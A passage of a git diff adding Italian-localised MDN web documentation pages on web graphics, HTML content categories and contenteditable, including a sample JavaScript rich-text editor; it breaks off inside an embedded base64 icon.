+<p>CSS is one of the core languages of the open Web and has a standardized <a class="external" href="http://w3.org/Style/CSS/#specs">W3C specification</a>.</p>
+<p>{{LandingPageListSubpages}}</p>
+<h2 id="Pages_elsewhere">Pages elsewhere</h2>
+<p>Here are other pages related to CSS that should be linked to from here.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li><a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/HTML">CSS</a></li>
+  <li><a href="/en-US/docs/Web/Reference" title="/en-US/docs/Web/Reference">Web developer reference</a></li>
+  <li><a href="/en-US/docs/Web/Guide" title="/en-US/docs/Web/Guide">Web developer guide</a></li>
+</ul>
diff --git a/files/it/web/guide/graphics/index.html b/files/it/web/guide/graphics/index.html
new file mode 100644
index 0000000000..7221d89ec7
--- /dev/null
+++ b/files/it/web/guide/graphics/index.html
@@ -0,0 +1,58 @@
+---
+title: Graphics on the Web
+slug: Web/Guide/Graphics
+tags:
+  - 2D
+  - 3D
+  - Canvas
+  - Grafica
+  - HTML5
+  - SVG
+  - WebGL
+  - WebRTC
+translation_of: Web/Guide/Graphics
+---
+<p><span class="seoSummary">I moderni Siti Web e Applicazioni, spesso necessitano di mostrare una grafica.</span> Mostrare delle immagini statiche, può essere fatto facilmente usando l'elemento immagine {{HTMLElement("img")}} , Oppure settando lo sfondo di elementi HTML usando la proprietà dello sfondo css {{cssxref("background-image")}}. Spesso è possibile creare anche grafici "al volo", oppure manipolare immagini dopo averle fatte.<span class="seoSummary">Questi articoli forniscono infomazioni su come si può ottenere questo risultato</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Grafiche 2D</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/HTML/Canvas">Canvas</a></dt>
+ <dd><em>L'elemento {{HTMLElement("canvas")}} fornisce </em><em>APIs per disegnare grafica 2D usando JavaScript.</em></dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd><em>La Grafica a Vettori Scalabile (SVG) consente di usare linee, curve, e altre forme geometriche per realizzare grafica. Evitando l'utilizzo di bitmaps, potete creare immagini che scalano in modo pulito ad ogni dimensione.</em></dd>
+</dl>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Grafiche 3D</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd><em>Una guida per come iniziare con WebGL, L' API di grafica 3D per il Web. Questa tecnologia consente un uso standard delle OpenGL.Ad esempio un contenuto Web</em></dd>
+</dl>
+
+<h2 id="Video">Video</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">Usare  l'audio e il video HTML5</a></dt>
+ <dd>Incorporare un<em> video in un documento HTML e controllare la riproduzione.</em></dd>
+ <dt><a href="/en-US/docs/WebRTC">WebRTC</a></dt>
+ <dd><em>L'acronimo RTC in WebRTC sta per Real-Time Communications, technology (Comunicazioni in Tempo Reali) che abilitano lo streaming audio/video e la condivisione di dati tra i browser e i clienti (peers).</em></dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/it/web/guide/html/categorie_di_contenuto/index.html b/files/it/web/guide/html/categorie_di_contenuto/index.html
new file mode 100644
index 0000000000..94eae32320
--- /dev/null
+++ b/files/it/web/guide/html/categorie_di_contenuto/index.html
@@ -0,0 +1,141 @@
+---
+title: Categorie di contenuto
+slug: Web/Guide/HTML/Categorie_di_contenuto
+translation_of: Web/Guide/HTML/Content_categories
+---
+<p>Ciascun elemento HTML deve rispettare le regole che definiscono che tipo di contenuto può avere. <span id="result_box" lang="it"><span class="hps">Queste regole sono</span> <span class="hps">raggruppate in</span> <span class="hps">modelli di contenuto</span> <span class="hps">comuni a</span> <span class="hps">diversi elementi</span><span>.</span></span> Ogni elemento HTML appartiene a nessuno, uno, o diversi modelli di contenuto, ognuno dei quali possiede regole che devono essere seguite in un documento conforme HTML.</p>
+
+<p>Vi sono tre tipi di categorie di contenuto:</p>
+
+<ul>
+ <li>Le categorie del contenuto principale, che descrivono le regole comuni per il contenuto, delle quali fanno parte molti elementi</li>
+ <li>Le categorie relative alla figura del contenuto, che descrivono le regole comuni per gli elementi relativi alla figura</li>
+ <li>Le categorie dei contenuti specifici, che descrivono categorie non frequenti, condivise solo da pochi elementi, a volte solo in contesti particolari.</li>
+</ul>
+
+<div style="width: 50%;"><a href="/@api/deki/files/6244/=Content_categories_venn.png" title="Content_categories_venn.png"><img alt="Content_categories_venn.png" class="default internal" src="/@api/deki/files/6244/=Content_categories_venn.png?size=webview" style="height: 200px; width: 350px;"></a></div>
+
+<h2 id="Categorie_di_contenuto_principale">Categorie di contenuto principale</h2>
+
+<h3 id="Contenuto_di_Metadati">Contenuto di Metadati</h3>
+
+<p>Gli elementi appartenenti alla categoria dei <em>metadati</em> modificano la presentazione o il comportamento del resto del documento, impostano collegamenti ad altri documenti, o comunicano altre informazioni <em>non in linea</em>.</p>
+
+<p>Gli elementi che appartengono a questa categoria sono {{HTMLElement("base")}}, {{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} e {{HTMLElement("title")}}.</p>
+
+<h3 id="Contenuto_di_flusso"><a name="flow_content">Contenuto di flusso</a></h3>
+
+<p>Gli elementi che appartengono alla catogoria dei contenuti di flusso tipicamente contengono testo o altri contenuti. Essi sono: {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{HTMLElement("command")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} e Text.</p>
+
+<p>Pochi altri elementi appartengono a questa categoria, ma solo in determinale condizioni:</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}, se discendente da un elemento {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("link")}}, se presente l'attributo <a href="/en-US/docs/HTML/Global_attributes#itemprop" title="HTML/Global attributes#itemprop"><strong>itemprop</strong></a></li>
+ <li>{{HTMLElement("meta")}}, se presente l'attributo <a href="/en-US/docs/HTML/Global_attributes#itemprop" title="HTML/Global attributes#itemprop"><strong>itemprop</strong></a></li>
+ <li>{{HTMLElement("style")}}, se l'attributo {{htmlattrxref("scoped","style")}} è  presente</li>
+</ul>
+
+<h3 id="Contenuto_di_sezione">Contenuto di sezione</h3>
+
+<p>Gli elementi che appartengono ai modelli di contenuti di sezione creano una <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">sezione nell'attuale contorno</a> che definisce gli'ambiti degli elementi  {{HTMLElement("header")}} , degli elementi {{HTMLElement("footer")}} , e dei <a href="#heading_content" title="#heading content">contenuti di intestazione</a>.</p>
+
+<p>Elementi appartenenti a questa categoria sono {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} e {{HTMLElement("section")}}. </p>
+
+<div class="note">
+<p><em>Nota:</em> non confondere questo modello di contenuto con la categoria  <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#sectioning_root" title="Sections and Outlines of an HTML5 document#sectioning root">sezione radice</a> , che isola il suo contenuto dal regolare contorno.</p>
+</div>
+
+<h3 id="Contenuto_di_intestazione">Contenuto di intestazione</h3>
+
+<p>Il contenuto di intestazione definisce il titolo della sezione, se contrassegnato da un esplicito elemento di <a href="#sectioning_content" title="#sectioning content">contenuto di intestazione</a>  o implicitamente definito da un contenuto di intestazione.</p>
+
+<p>Elementi appartenenti a questa categoria sono {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} e {{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p><em>Nota:</em> Consideralo possibilmente come un contenuto di intestazione, l' {{HTMLElement("header")}} non è un contenuto di intestazione.</p>
+</div>
+
+<h3 id="Contenuto_di_enunciazione">Contenuto di enunciazione</h3>
+
+<p>Il contenuto di enunciazione definisce il testo e la marcatura che essa contiene.Si appropria del contenuto di Enunciazione dei paragrafi.</p>
+
+<p>Elementi appartenenti a questa categoria sono {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{HTMLElement("command")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} e il puro text (che non consiste soltanto nello spazio bianco dei caratteri).</p>
+
+<p>Molte altri elementi appartengono da questa categoria,ma solo se vengono soddisfatte delle specifiche condizioni:</p>
+
+<ul>
+ <li>{{HTMLElement("a")}}, se contengono solo contenuti di Enunciazione</li>
+ <li>{{HTMLElement("area")}},se è il discendente di un elemento {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("del")}},se contiene soltanto contenuto di Enunciazione</li>
+ <li>{{HTMLElement("ins")}}, se contiene soltanto contenuto di Enunciazione</li>
+ <li>{{HTMLElement("link")}}, se l'attributo <a href="/en-US/docs/HTML/Global_attributes#itemprop" title="HTML/Global attributes#itemprop"><strong>itemprop</strong></a> è present</li>
+ <li>{{HTMLElement("map")}}, se contiene soltanto contenuto di Enunciazione</li>
+ <li>{{HTMLElement("meta")}}, se l'attributo <a href="/en-US/docs/HTML/Global_attributes#itemprop" title="HTML/Global attributes#itemprop"><strong>itemprop</strong></a> è presente</li>
+</ul>
+
+<h3 id="Contenuto_integrato">Contenuto integrato</h3>
+
+<p>Il contenuto integrato importa un'altra risorsa o inserisce contenuto da un'altro linguaggio di marcatura o un namespace nel documento.Elementi che appartengono a questa categoria includono: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("svg")}}, {{HTMLElement("video")}}.</p>
+
+<h3 id="Contenuto_interattivo"><a name="interactive_content">Contenuto interattivo</a></h3>
+
+<p>Il contenuto interattivo include elementi che sono speficatamente progettati per l'interazione dell'utente. Elementi che provengono da questa categoria includono: {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, e {{HTMLElement("textarea")}}.<br>
+ Alcuni elementi appartengono a questa categoria solo sotto  specifiche condizioni:</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}, se l'attributo {{htmlattrxref("controls", "audio")}} è presente</li>
+ <li>{{HTMLElement("img")}}, se l'attributo {{htmlattrxref("usemap", "img")}} è presente</li>
+ <li>{{HTMLElement("input")}}, se l'attributo {{htmlattrxref("type", "input")}} non è nascosto</li>
+ <li>{{HTMLElement("menu")}}, se l'attributo {{htmlattrxref("type", "menu")}} è nella barra degli strumenti</li>
+ <li>{{HTMLElement("object")}}, se l'attributo {{htmlattrxref("usemap", "object")}} è presente</li>
+ <li>{{HTMLElement("video")}}, se l'attributo {{htmlattrxref("controls", "video")}} è presente</li>
+</ul>
+
+<h3 id="Contenuto_modulo-associato">Contenuto modulo-associato</h3>
+
+<p>Il contento modulo-associato comprende elementi che ha un modulo beneficiario ,mostrato attraverso l'attributo <strong>form</strong>.Un beneficiario di un modulo  è o l'elemento contenente {{HTMLElement("form")}} o è l' elemento che ha id specificato nell'attributo <strong>form</strong>.</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("keygen")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p> Questa categoria contiene diverse altre sotto-categorie:</p>
+
+<dl>
+ <dt><a name="Form_listed">elencati</a></dt>
+ <dd>Elementi che sono elencati nel <a href="/en-US/docs/DOM/form.elements" title="DOM/form.elements">elementi.modulo</a> ed il fieldset.Collezioni di elementi IDL. Contiene{{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, e {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_labelable">l'abilità labelable</a></dt>
+ <dd>Elementi che possono essere associati con elementi {{HTMLElement("label")}}. Contiene {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, e {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_submittable">Dati Inviabili tramite un <strong>form</strong></a></dt>
+ <dd>Elementi che possono essere usati per costruire il modulo dati quando il modulo é stato inviato. Contiene {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, e {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_resettable">reset dei dati di un form </a></dt>
+ <dd>Elementi che possono essere usati per portare il <strong>form</strong> al reset delle impostazioni originarie.Contiene {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}}, e {{HTMLElement("textarea")}}.</dd>
+</dl>
+
+<h2 id="Modello_di_contenuto_trasparente">Modello di contenuto trasparente</h2>
+
+<p>Se un elemento ha un modello di contenuto trasparente,allora i suoi contenuti possono essere strutturati come quelli validi in  HTML5, perfino se l'elemento trasparente era stato rimosso e rimpiazzato da elemento figlio.</p>
+
+<p>Per esempio, gli elementi {{HTMLElement("del")}} e {{HTMLELement("ins")}}sono trasparenti:</p>
+
+<pre>&lt;p&gt;Tratteniamo queste verità per essere&lt;del&gt;&lt;em&gt;consacrate &amp;amp; innegabili&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;chiare&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<p>Se quegli elementi verranno rimossi, questo frammento potrebbe essere ancora un valido HTML (anche se non in corretto italiano).</p>
+
+<pre>&lt;p&gt;Tratteniamo queste verità per essere&lt;del&gt;&lt;em&gt;consacrate &amp;amp; innegabili&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;chiare&lt;/ins&gt;.&lt;/p&gt;</pre>
+
+<h2 id="Altri_modelli_di_contenuto">Altri modelli di contenuto</h2>
+
+<p>Sezione radice.</p>
diff --git a/files/it/web/guide/html/editable_content/index.html b/files/it/web/guide/html/editable_content/index.html
new file mode 100644
index 0000000000..e878289a2c
--- /dev/null
+++ b/files/it/web/guide/html/editable_content/index.html
@@ -0,0 +1,216 @@
+---
+title: Making content editable
+slug: Web/Guide/HTML/Editable_content
+translation_of: Web/Guide/HTML/Editable_content
+---
+<p><span class="seoSummary">Inprogress! In HTML, any element can be editable. By using some JavaScript event handlers, you can transform your web page into a full and fast rich text editor. This article provides some information about this functionality.</span></p>
+
+<h2 id="How_does_it_work">How does it work?</h2>
+
+<p>All you have to do is set the {{htmlattrxref("contenteditable")}} attribute on nearly any HTML element to make it editable.</p>
+
+<p>Here's a simple example which creates a {{HTMLElement("div")}} element whose contents the user can edit.</p>
+
+<pre class="brush: html">&lt;div contenteditable="true"&gt;
+  This text can be edited by the user.
+&lt;/div&gt;</pre>
+
+<p>Here's the above HTML in action:</p>
+
+<p>{{ EmbedLiveSample('How_does_it_work') }}</p>
+
+<h2 id="Executing_commands">Executing commands</h2>
+
+<p>When an HTML element has <code>contenteditable</code> set to <code>true</code>, the {{ domxref("document.execCommand()") }} method is made available. This lets you run <a href="/en-US/docs/Web/API/document.execCommand#Commands">commands</a> to manipulate the contents of the editable region. Most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). When using <code>contentEditable</code>, calling <code>execCommand()</code> will affect the currently active editable element.</p>
+
+<h2 id="Differences_in_markup_generation">Differences in markup generation</h2>
+
+<p>Use of <code>contenteditable</code> across different browsers has been painful for a long time because of the differences in generated markup between browsers. For example, even something as simple as what happens when you press Enter/Return to create a new line of text inside an editable element was handled differently across the major browsers (Firefox inserted {{htmlelement("br")}} elements, IE/Opera used {{htmlelement("p")}}, Chrome/Safari used {{htmlelement("div")}}).</p>
+
+<p>Fortunately, in modern browsers things are somewhat more consistent. As of <a href="/en-US/docs/Mozilla/Firefox/Releases/55">Firefox 55</a>, Firefox has been updated to wrap the separate lines in {{htmlelement("div")}} elements, matching the behavior of Chrome, modern Opera, Edge, and Safari.</p>
+
+<p>Try it out in the above example.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Internet Explorer, which is no longer being developed, uses {{htmlelement("p")}} elements instead of <code>&lt;div&gt;</code>.</p>
+</div>
+
+<p>If you want to use a different paragraph separator, the above browsers all support {{domxref("document.execCommand")}}, which provides a <code>DefaultParagraphSeparator</code> command to allow you to change it. For example, to use {{htmlelement("p")}} elements:</p>
+
+<pre class="language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">execCommand</span><span class="punctuation token">(</span><span class="string token">"DefaultParagraphSeparator"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Security">Security</h2>
+
+<p>For security reasons, Firefox doesn't let JavaScript code use clipboard related features (copy, paste, etc.) by default. You can enable them by setting the preferences shown below using <code>about:config</code>:</p>
+
+<pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre>
+
+<h2 id="Example_A_simple_but_complete_rich_text_editor">Example: A simple but complete rich text editor</h2>
+
+<div style="height: 500px; width: auto; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Rich Text Editor&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Print&lt;\/title&gt;&lt;\/head&gt;&lt;body onload=\"print();\"&gt;" + oDoc.innerHTML + "&lt;\/body&gt;&lt;\/html&gt;");
+  oPrntWin.document.close();
+}
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body onload="initDoc();"&gt;
+&lt;form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;"&gt;
+&lt;input type="hidden" name="myDoc"&gt;
+&lt;div id="toolBar1"&gt;
+&lt;select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option selected&gt;- formatting -&lt;/option&gt;
+&lt;option value="h1"&gt;Title 1 &amp;lt;h1&amp;gt;&lt;/option&gt;
+&lt;option value="h2"&gt;Title 2 &amp;lt;h2&amp;gt;&lt;/option&gt;
+&lt;option value="h3"&gt;Title 3 &amp;lt;h3&amp;gt;&lt;/option&gt;
+&lt;option value="h4"&gt;Title 4 &amp;lt;h4&amp;gt;&lt;/option&gt;
+&lt;option value="h5"&gt;Title 5 &amp;lt;h5&amp;gt;&lt;/option&gt;
+&lt;option value="h6"&gt;Subtitle &amp;lt;h6&amp;gt;&lt;/option&gt;
+&lt;option value="p"&gt;Paragraph &amp;lt;p&amp;gt;&lt;/option&gt;
+&lt;option value="pre"&gt;Preformatted &amp;lt;pre&amp;gt;&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- font -&lt;/option&gt;
+&lt;option&gt;Arial&lt;/option&gt;
+&lt;option&gt;Arial Black&lt;/option&gt;
+&lt;option&gt;Courier New&lt;/option&gt;
+&lt;option&gt;Times New Roman&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- size -&lt;/option&gt;
+&lt;option value="1"&gt;Very small&lt;/option&gt;
+&lt;option value="2"&gt;A bit small&lt;/option&gt;
+&lt;option value="3"&gt;Normal&lt;/option&gt;
+&lt;option value="4"&gt;Medium-large&lt;/option&gt;
+&lt;option value="5"&gt;Big&lt;/option&gt;
+&lt;option value="6"&gt;Very big&lt;/option&gt;
+&lt;option value="7"&gt;Maximum&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- color -&lt;/option&gt;
+&lt;option value="red"&gt;Red&lt;/option&gt;
+&lt;option value="blue"&gt;Blue&lt;/option&gt;
+&lt;option value="green"&gt;Green&lt;/option&gt;
+&lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- background -&lt;/option&gt;
+&lt;option value="red"&gt;Red&lt;/option&gt;
+&lt;option value="green"&gt;Green&lt;/option&gt;
+&lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+&lt;/div&gt;
+&lt;div id="toolBar2"&gt;
+&lt;img class="intLink" title="Clean" onclick="if(validateMode()&amp;&amp;confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" /&gt;
+&lt;img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjN